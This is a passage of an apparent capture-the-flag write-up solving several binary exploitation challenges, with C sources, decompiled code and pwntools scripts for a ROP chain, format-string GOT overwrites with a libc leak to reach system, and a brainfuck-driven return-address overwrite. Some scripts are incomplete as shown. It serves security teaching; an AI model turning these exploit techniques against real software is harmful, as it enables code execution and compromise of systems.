3. Call `flag(0xba5eba11, 0xbedabb1e)`

How do we do this? We can just fake stack frames, utilizing gadgets found with ropper.

``````from pwn import *

#p = process("./chain_of_rope")
p = remote("shell.actf.co", 19400)
payload += p64(0x4006c7)           # call authorize
payload += p64(0x00000000004008f3) # pop rdi; ret
payload += p64(0x00000000004008f3) # pop rdi; ret
payload += p64(0xba5eba11)         # pin for flag
payload += p64(0x00000000004008f1) # pop rsi; pop r15; ret
payload += p64(0xbedabb1e)         # secret for flag
payload += p64(0xbedabb1e)         # junk for r15
payload += p64(0x40071c)           # call flag

p.sendline("1")

p.interactive()``````

# Purchases

Source:

``````#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
system("/bin/cat flag.txt");
}

int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char item[60];
printf("What item would you like to purchase? ");
fgets(item, sizeof(item), stdin);
item[strlen(item)-1] = 0;

if (strcmp(item, "nothing") == 0) {
printf("Then why did you even come here? ");
} else {
printf("You don't have any money to buy ");
printf(item);
printf("s. You're wasting your time! We don't even sell ");
printf(item);
printf("s. Leave this place and buy ");
printf(item);
printf(" somewhere else. ");
}

printf("Get out!\n");
return 0;
}``````

A format string exploit is possible here because of `printf(item)`. If user input is passed directly to the first (format) parameter of `printf`, one can read and write to arbitrary memory locations. Writes are accomplished through the use of the `%n` format specifier: it writes the number of bytes printed so far to the given address.

`%{padding}x%{position}\${type}n` is a convenient payload:

padding - write a data value padded to padding length. This is used to control the value written with `%n` later.

position - position of `printf` parameter to write the value to

type - how many bytes to write. Where space permits, write to 2 bytes or less at a time so you don't need to pad as much data. `h` writes 2 bytes, `hh` writes one byte.

In this case, since there is a `flag` function available, we can overwrite `printf@got` with the address of `flag`.

``````from pwn import *

e = ELF("./purchases")

log.info("printf@got: {}".format(hex(e.got["printf"])))

#p = process("./purchases")
#gdb.attach(p, """
#b *main+354
#continue""")

p = remote("shell.actf.co", 19011)

# hn == 2 bytes, hhn = 1 byte
fmtstr = "%{}x%13\$hn %{}x%14\$hn %{}x%15\$hn".format(0x11b6, 0xee89, 0xffbf)
#fmtstr = "%13\$p"
print(len(fmtstr))
assert(len(fmtstr) <= 40)

# somethings strange going on: writing 0x40404040 for first address becomes 0x404040

p.interactive()``````

Because the address of `printf@got` contains null bytes (`printf` will stop printing at the first null byte it sees) , I write my format string first, pad it (to ensure alignment of the addresses) and then write my addresses.

# Returns

The same as Purchases above with a catch - there is no win function. However, the libc file is provided - meaning the goal is likely to make use of `system`.

``````#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char item[50];
printf("What item would you like to return? ");
fgets(item, 50, stdin);
item[strlen(item)-1] = 0;

if (strcmp(item, "nothing") == 0) {
printf("Then why did you even come here? ");
} else {
printf("We didn't sell you a ");
printf(item);
printf(". You're trying to scam us! We don't even sell ");
printf(item);
printf("s. Leave this place and take your ");
printf(item);
printf(" with you. ");
}

printf("Get out!\n");
return 0;
}``````

The problem is ASLR - we would have to leak the libc location, then calculate the actual address of `system` from there. However, I would need to be able to print my string two times while the binary quits after a failed attempt.

The answer is a compiler optimization that converts `printf` with a static string as a parameter into `puts`: take a look at the decompiled `main`

``````int iVar1;
size_t sVar2;
long in_FS_OFFSET;
__gid_t local_4c;
char local_48 [56];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_4c = getegid();
setresgid(local_4c,local_4c,local_4c);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
printf("What item would you like to return? ");
fgets(local_48,0x32,stdin);
sVar2 = strlen(local_48);
*(undefined *)((long)&local_4c + sVar2 + 3) = 0;
iVar1 = strcmp(local_48,"nothing");
if (iVar1 == 0) {
printf("Then why did you even come here? ");
}
else {
printf("We didn\'t sell you a ");
printf(local_48);
printf(". You\'re trying to scam us! We don\'t even sell ");
printf(local_48);
printf("s. Leave this place and take your ");
printf(local_48);
printf(" with you. ");
}
puts("Get out!");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;``````

That final `printf("Get out!")` became `puts("Get out!")`! This means that we can overwrite `puts@got` with the address of `main`, causing `main` to recursively call itself instead of exiting.

The plan:

1. Leak libc base and overwrite `puts@got` with `main`
2. Calculate `system` address
3. Overwrite `printf@got` with `system@libc`
``````# libc local-238e834fc5baa8094f5db0cde465385917be4c6a
from pwn import *

offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390

e = ELF("./returns")

if 0:
p = process("./returns")
gdb.attach(p, """
b printf
ignore 1 10
b *main+354
continue""")
else:
p = remote("shell.actf.co", 19307)

log.info("puts@got: {}".format(hex(e.got["puts"])))

# leak address of __libc_start_main+235 and overwrite puts@got
fmtstr = "%17\$p %4503x%12\$hn"

p.sendline(fmtstr.ljust(32, ".") + p64(0x40404018)) # main at 0x404018, 0x40404018 becomes 0x404018, dont ask me how
p.recvuntil("sell you a ")

# calculate libc base from ret address of main
libc_base = int(p.recv(14), 16) - offset___libc_start_main_ret

log.info("libc base: {}".format(hex(libc_base)))

# overwrite printf@got with system@glibc
# cheat and overwrite just the first 3 bytes of printf@got since the rest should be same/similar
# write byte 2 of printf@got first, then byte 0 and 1
count1 = ((address_system >> 16) & 0xFF) -4
count2 = (address_system & 0xFFFF) - count1 - 4
fmtstr = "sh;#%{}x%13\$hhn%{}x%12\$hn".format(count1, count2)
log.info(fmtstr)

assert(len(fmtstr) <= 32)

p.recvuntil("would you like to return?")
p.sendline(fmtstr.ljust(32, ".") + p64(0x40404038) + p64(0x404038 + 2))

p.recvuntil("@@")
p.interactive()
``````

# Over My Brain

Source:

``````#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
FILE *file;
file = fopen("flag.txt", "r");
int c;
while ((c = getc(file)) != EOF) {
putchar(c);
}
fclose(file);
}

int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char cells[256] = {0};
char code[144];
printf("enter some brainf code: ");
fgets(code, sizeof(code), stdin);
int balance = 0;
for (int i=0; i<strlen(code); i++) {
if (code[i] == '[') {
balance++;
} else if (code[i]==']') {
balance--;
}
if (balance < 0) {
return 0;
}
}
if (balance != 0) {
return 0;
}
int i = 0;
int p = 0;
while (p < strlen(code)) {
switch (code[p]) {
case '>':
i++;
p++;
break;
case '<':
i--;
p++;
break;
case '+':
*(cells+i) += 1;
p++;
break;
case '-':
*(cells+i) -= 1;
p++;
break;
case '.':
printf("%c", *(cells+i));
p++;
break;
case ',':
printf("we don't support input sorry\n");
p++;
break;
case '[': {
if (*(cells+i) != 0) {
p++;
break;
}
int ball = 0;
for (int j=p; j<strlen(code); j++) {
if (code[j] == '[') {
ball++;
} else if (code[j] == ']') {
ball--;
}
if (ball == 0) {
p = j+1;
break;
}
}
break;
}
case ']': {
if (*(cells+i) == 0) {
p++;
break;
}
int balr = 0;
for (int j=p; j>0; j--) {
if (code[j] == '[') {
balr++;
} else if (code[j] == ']') {
balr--;
}
if (balr == 0) {
p = j+1;
break;
}
}
break;
}
default:
p++;
}
}
return 0;
}``````

The objective is straightforward - in 143 bytes of brainfuck, overwrite the return address of `main` with the address of `flag`.

The how however, is not that straightforward. How do I advance more than 256 bytes of data to reach the return address in 143 bytes of brainfuck? Sadly, the solution of executing `>` * 0x140 is not an option.

## Attempt 1

My first attempt tried to make use of the fact that the cells were all nulled - what if I just advanced until I found the first non zero cell? I built a version around the code presented here, tested it, and realised nope, I cannot rely on the number of empty cells to remain constant across different systems.

## Attempt 2

Unfortunately this involves me figuring out how to write brainfuck.

``````-        # overflow current cell to 255
[        # while current cell is not zero
[>+<-] # while current cell is not zero, add one to the next and subtract one
>-     # advance to the next cell, subtracting 1
]        # repeat until the cell is 0
>``````

This starts with `255` in the current cell, copying it into the next, then decrementing it by one. Then copy `254` into the next cell, decrement it by one. This repeats until the value becomes 0 - at the end of which the data pointer is advanced by 255 bytes.

Now that we've moved 255 bytes, what next? I needed to advance another 70 bytes before reaching the return address of main. Of course, I could add 70 `>`s to the code, except that I ran head first into the `143` byte limit.

These 70 bytes were not guaranteed to be zero, so the brainfuck above woudn't work. The obvious answer is to modify the advancement code to wipe the next cell before copying into it - except that this clobbers important data like the data pointer: oops.

``````-
[
[>+<-]
>-
>[-]<  # wipe the next cell
]
>``````

With that, I turned my attention to trying to reduce the size of my code that actually writes the address of `flag` at the return address of `main`.

This was my first try (writing 0x4011c6):

``````>>[-]>[-]>[-]<<<< # wipe first 3 bytes of address
++++++++[>        # set loop counter to 8
>--------         # minus 8 * 8 from byte 0 (0x00 > 0xc0)
>++               # add 8 * 2 to byte 1     (0x00 > 0x10)
>++++++++         # add 8 * 8 to byte 2     (0x00 > 0x40)
<<<<-]            # close loop
>>+++++++         # add 3 to byte 0         (0xc0 > 0xc6)
>+                # add 1 to byte 1         (0x10 > 0x11)
>>[-]>[-]>[-]     # wipe next 3 bytes``````

Given it was still too long, I messed with it until I got it short enough:

``````>>[[-]>]          # clear non zero bytes until a zero byte is found (clears 6 bytes)
<<<<<<<           # go back to counter pos
++++++++++++++++[ # loop 16 times
>----             # minus 16 * 4 from byte 0 (0x00 > 0xc0)
>+                # add 16 * 1 to byte 1     (0x00 > 0x10)
>++++             # add 16 * 4 to byte 2     (0x00 > 0x40)
<<<-]             # close loop
>++++++           # add 6 to byte 0          (0xc0 > 0xc6)
>+                # add 1 to byte 1          (0x10 > 0x11)``````

This got my payload short enough. The final script:

``````from pwn import *

# flag: 0x4011c6

if 0:
p = process("./over_my_brain")
gdb.attach(p, """
b *main+887
continue
""")
else:
p = remote("shell.actf.co", 19010)
p.recvuntil("code: ")

payload += ">>[[-]>]"           # clear non zero bytes until a zero byte is found
payload += "<<<<<<<"            # go back to counter pos
payload += "++++++++++++++++["  # loop 16 times
payload += ">----"              # minus 64 to byte 0 of return address (starts being 0x0, ends being 0xc0)
payload += ">+"                 # add 16 * 1 to byte 1 of return address (starts being 0x00, ends being 0x10)
payload += ">++++"              # add 16 * 4 to byte 2 of return address (starts being 0x00, ends being 0x40)
payload += "<<<-]"              # close loop
payload += ">++++++"            # add 6 to byte 0 of return address (starts being 0xc0, ends being 0xc6)
payload += ">+"                 # add 1 to byte 1 of return address (starts being 0x10, ends being 0x11)